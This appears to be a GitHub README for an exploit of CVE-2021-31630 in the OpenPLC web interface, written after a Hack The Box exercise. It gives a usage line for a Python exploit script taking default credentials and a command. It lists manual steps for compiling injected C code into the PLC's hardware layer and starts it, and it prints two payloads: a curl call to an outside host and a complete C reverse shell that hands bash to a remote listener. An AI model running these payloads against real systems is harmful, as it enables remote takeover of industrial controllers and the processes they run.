userb1ank/cve-2021-31630Exploit for CVE-2021-31630 in OpenPLC, providing a Python script and manual steps to achieve remote code execution via malicious ST file upload and hardware code injection.
CVE encountered while hacking HTB machines; the exploit-db exploit had some errors, so here are manual exploitation methods and an exploit.
Command execution with no output
python exp.py -u http://127.0.0.1:8080 -l openplc -p openplc -c "whoami"
The attack chain on the backend is as follows
Create an ST project and compile → Add malicious code in the hardware section and compile it into the project → Start the project to trigger the malicious code
demo.st
PROGRAM prog0
VAR
var_in : BOOL;
var_out : BOOL;
END_VAR
var_out := var_in;
END_PROGRAM
CONFIGURATION Config0
RESOURCE Res0 ON PLC
TASK Main(INTERVAL := T#50ms,PRIORITY := 0);
PROGRAM Inst0 WITH Main : prog0;
END_RESOURCE
END_CONFIGURATION
Based on the built-in template of the backend, a C file with malicious code was added.
#include "ladder.h"
#include<stdlib.h>
//-----------------------------------------------------------------------------
// DISCLAIMER: EDDITING THIS FILE CAN BREAK YOUR OPENPLC RUNTIME! IF YOU DON'T
// KNOW WHAT YOU'RE DOING, JUST DON'T DO IT. EDIT AT YOUR OWN RISK.
//
// PS: You can always restore original functionality if you broke something
// in here by clicking on the "Restore Original Code" button above.
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
// These are the ignored I/O vectors. If you want to override how OpenPLC
// handles a particular input or output, you must put them in the ignored
// vectors. For example, if you want to override %IX0.5, %IX0.6 and %IW3
// your vectors must be:
// int ignored_bool_inputs[] = {5, 6}; //%IX0.5 and %IX0.6 ignored
// int ignored_int_inputs[] = {3}; //%IW3 ignored
//
// Every I/O on the ignored vectors will be skipped by OpenPLC hardware layer
//-----------------------------------------------------------------------------
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
//-----------------------------------------------------------------------------
// This function is called by the main OpenPLC routine when it is initializing.
// Hardware initialization procedures for your custom layer should be here.
//-----------------------------------------------------------------------------
void initCustomLayer()
{
system("curl http://10.10.16.14:8000");
}
//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal input
// buffers must be updated with the values you want. Make sure to use the mutex
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomIn()
{
// Example Code - Overwritting %IW3 with a fixed value
// If you want to have %IW3 constantly reading a fixed value (for example, 53)
// you must add %IW3 to the ignored vectors above, and then just insert this
// single line of code in this function:
// if (int_input[3] != NULL) *int_input[3] = 53;
}
//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal output
// buffers must be updated with the values you want. Make sure to use the mutex
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomOut()
{
// Example Code - Sending %QW5 value over I2C
// If you want to have %QW5 output to be sent over I2C instead of the
// traditional output for your board, all you have to do is, first add
// %QW5 to the ignored vectors, and then define a send_over_i2c()
// function for your platform. Finally you can call send_over_i2c() to
// send your %QW5 value, like this:
// if (int_output[5] != NULL) send_over_i2c(*int_output[5]);
//
// Important observation: If your I2C pins are used by OpenPLC I/Os, you
// must also add those I/Os to the ignored vectors, otherwise OpenPLC
// will try to control your I2C pins and your I2C message won't work.
}
Upload the .st file to create a new project
Click the upload button to start compilation
The project must be successfully compiled before the next attack step can be executed.
Inject malicious code in the hardware section
Click the Save button below, and the code will be compiled into the project.
After successful compilation, click the Start button to execute the malicious code.
Successfully received output
Reverse shell
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer()
{
int port = 4444;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.14");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"bash", NULL};
execvp("bash", argv);
}
void updateCustomIn()
{
}
void updateCustomOut()
{
}